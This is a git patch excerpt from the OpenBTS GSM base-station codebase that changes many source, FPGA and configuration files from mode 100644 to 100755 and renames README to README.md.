a/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.v b/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc_bb.v b/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc_inst.v b/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/gen_cordic_consts.py b/TransceiverRAD1/fpga/sdr_lib/gen_cordic_consts.py old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/gen_sync.v b/TransceiverRAD1/fpga/sdr_lib/gen_sync.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/acc.v b/TransceiverRAD1/fpga/sdr_lib/hb/acc.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/coeff_rom.v b/TransceiverRAD1/fpga/sdr_lib/hb/coeff_rom.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/halfband_decim.v b/TransceiverRAD1/fpga/sdr_lib/hb/halfband_decim.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/halfband_interp.v b/TransceiverRAD1/fpga/sdr_lib/hb/halfband_interp.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/mac.v b/TransceiverRAD1/fpga/sdr_lib/hb/mac.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/mult.v b/TransceiverRAD1/fpga/sdr_lib/hb/mult.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/ram16_2port.v b/TransceiverRAD1/fpga/sdr_lib/hb/ram16_2port.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/ram16_2sum.v b/TransceiverRAD1/fpga/sdr_lib/hb/ram16_2sum.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/hb/ram32_2sum.v b/TransceiverRAD1/fpga/sdr_lib/hb/ram32_2sum.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/io_pins.v b/TransceiverRAD1/fpga/sdr_lib/io_pins.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/master_control.v b/TransceiverRAD1/fpga/sdr_lib/master_control.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/master_control_multi.v b/TransceiverRAD1/fpga/sdr_lib/master_control_multi.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/phase_acc.v b/TransceiverRAD1/fpga/sdr_lib/phase_acc.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/ram.v b/TransceiverRAD1/fpga/sdr_lib/ram.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/ram16.v b/TransceiverRAD1/fpga/sdr_lib/ram16.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/ram32.v b/TransceiverRAD1/fpga/sdr_lib/ram32.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/ram64.v b/TransceiverRAD1/fpga/sdr_lib/ram64.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/rssi.v b/TransceiverRAD1/fpga/sdr_lib/rssi.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/rx_buffer.v b/TransceiverRAD1/fpga/sdr_lib/rx_buffer.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/rx_chain.v b/TransceiverRAD1/fpga/sdr_lib/rx_chain.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/rx_chain_dual.v b/TransceiverRAD1/fpga/sdr_lib/rx_chain_dual.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/rx_dcoffset.v b/TransceiverRAD1/fpga/sdr_lib/rx_dcoffset.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/serial_io.v b/TransceiverRAD1/fpga/sdr_lib/serial_io.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/setting_reg.v b/TransceiverRAD1/fpga/sdr_lib/setting_reg.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/setting_reg_masked.v b/TransceiverRAD1/fpga/sdr_lib/setting_reg_masked.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/sign_extend.v b/TransceiverRAD1/fpga/sdr_lib/sign_extend.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/strobe_gen.v b/TransceiverRAD1/fpga/sdr_lib/strobe_gen.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/tx_buffer.v b/TransceiverRAD1/fpga/sdr_lib/tx_buffer.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/tx_chain.v b/TransceiverRAD1/fpga/sdr_lib/tx_chain.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/tx_chain_hb.v b/TransceiverRAD1/fpga/sdr_lib/tx_chain_hb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/include/common_config_1rxhb_1tx.vh b/TransceiverRAD1/fpga/toplevel/include/common_config_1rxhb_1tx.vh old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/include/common_config_2rxhb_2tx.vh b/TransceiverRAD1/fpga/toplevel/include/common_config_2rxhb_2tx.vh old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/include/common_config_bottom.vh b/TransceiverRAD1/fpga/toplevel/include/common_config_bottom.vh old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/config.vh b/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/config.vh old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.csf b/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.csf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.esf b/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.esf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.pin b/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.pin old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.psf b/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.psf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.qpf b/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.qpf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.qsf b/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.qsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.v b/TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga_regs.h b/TransceiverRAD1/fpga_regs.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fusb.cpp b/TransceiverRAD1/fusb.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fusb.h b/TransceiverRAD1/fusb.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/i2c.h b/TransceiverRAD1/i2c.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/ids.h b/TransceiverRAD1/ids.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/inband-signaling-usb b/TransceiverRAD1/inband-signaling-usb old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/interfaces.h b/TransceiverRAD1/interfaces.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/pulseApproximate.m b/TransceiverRAD1/pulseApproximate.m old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/radioDevice.h b/TransceiverRAD1/radioDevice.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/radioInterface.cpp b/TransceiverRAD1/radioInterface.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/radioInterface.h b/TransceiverRAD1/radioInterface.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/rnrad1.h b/TransceiverRAD1/rnrad1.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/rnrad1Core.cpp b/TransceiverRAD1/rnrad1Core.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/rnrad1Core.h b/TransceiverRAD1/rnrad1Core.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/rnrad1Rx.cpp b/TransceiverRAD1/rnrad1Rx.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/rnrad1Tx.cpp b/TransceiverRAD1/rnrad1Tx.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/runTransceiver.cpp b/TransceiverRAD1/runTransceiver.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/sigProcLib.cpp b/TransceiverRAD1/sigProcLib.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/sigProcLib.h b/TransceiverRAD1/sigProcLib.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/sigProcLibTest.cpp b/TransceiverRAD1/sigProcLibTest.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/spi.h b/TransceiverRAD1/spi.h old mode 100644 new mode 100755 diff --git a/apps/.gdbinit b/apps/.gdbinit old mode 100644 new mode 100755 diff --git a/apps/GetConfigurationKeys.cpp b/apps/GetConfigurationKeys.cpp old mode 100644 new mode 100755 diff --git a/apps/JSONEventsClient.cpp b/apps/JSONEventsClient.cpp old mode 100644 new mode 100755 diff --git a/apps/Makefile.am b/apps/Makefile.am old mode 100644 new mode 100755 diff --git a/apps/OpenBTS.cpp b/apps/OpenBTS.cpp old mode 100644 new mode 100755 diff --git a/apps/OpenBTS.example.sql b/apps/OpenBTS.example.sql old mode 100644 new mode 100755 diff --git a/apps/OpenBTSCLI.cpp b/apps/OpenBTSCLI.cpp old mode 100644 new mode 100755 diff --git a/apps/OpenBTSConfig.h b/apps/OpenBTSConfig.h old mode 100644 new mode 100755 diff --git a/apps/iptables.rules b/apps/iptables.rules old mode 100644 new mode 100755 diff --git a/apps/logrotated.OpenBTS b/apps/logrotated.OpenBTS old mode 100644 new mode 100755 diff --git a/apps/openbts.conf b/apps/openbts.conf old mode 100644 new mode 100755 diff --git a/apps/rsyslogd.OpenBTS.conf b/apps/rsyslogd.OpenBTS.conf old mode 100644 new mode 100755 diff --git a/config/Makefile.am b/config/Makefile.am old mode 100644 new mode 100755 diff --git a/config/ax_check_compile_flag.m4 b/config/ax_check_compile_flag.m4 old mode 100644 new mode 100755 diff --git a/config/ax_ext.m4 b/config/ax_ext.m4 old mode 100644 new mode 100755 diff --git a/config/ax_gcc_x86_avx_xgetbv.m4 b/config/ax_gcc_x86_avx_xgetbv.m4 old mode 100644 new mode 100755 diff --git a/config/ax_gcc_x86_cpuid.m4 b/config/ax_gcc_x86_cpuid.m4 old mode 100644 new mode 100755 diff --git a/config/pkg.m4 b/config/pkg.m4 old mode 100644 new mode 100755 diff --git a/config/test_ortp_version.cpp b/config/test_ortp_version.cpp old mode 100644 new mode 100755 diff --git a/configure.ac b/configure.ac old mode 100644 new mode 100755 diff --git a/ctags.sh b/ctags.sh old mode 100644 new mode 100755 diff --git a/debian/changelog b/debian/changelog old mode 100644 new mode 100755 diff --git a/debian/compat b/debian/compat old mode 100644 new mode 100755 diff --git a/doc/CodingStandard b/doc/CodingStandard old mode 100644 new mode 100755 diff --git a/doc/Makefile.am b/doc/Makefile.am old mode 100644 new mode 100755 diff --git a/tools/Makefile.am b/tools/Makefile.am old mode 100644 new mode 100755 diff --git a/tools/Makefile.standalone b/tools/Makefile.standalone old mode 100644 new mode 100755 diff --git a/tools/README b/tools/README old mode 100644 new mode 100755 diff --git a/tools/hata.cpp b/tools/hata.cpp old mode 100644 new mode 100755 From 33e9ff92953a1a719836fb8de28dfd077a3bf5b6 Mon Sep 17 00:00:00 2001 From: Al Date: Fri, 24 Feb 2017 11:42:14 +0000 Subject: [PATCH 4/4] MT USSD & README.md --- README => README.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename README => README.md (100%) diff --git a/README b/README.md similarity index 100% rename from README rename to README.md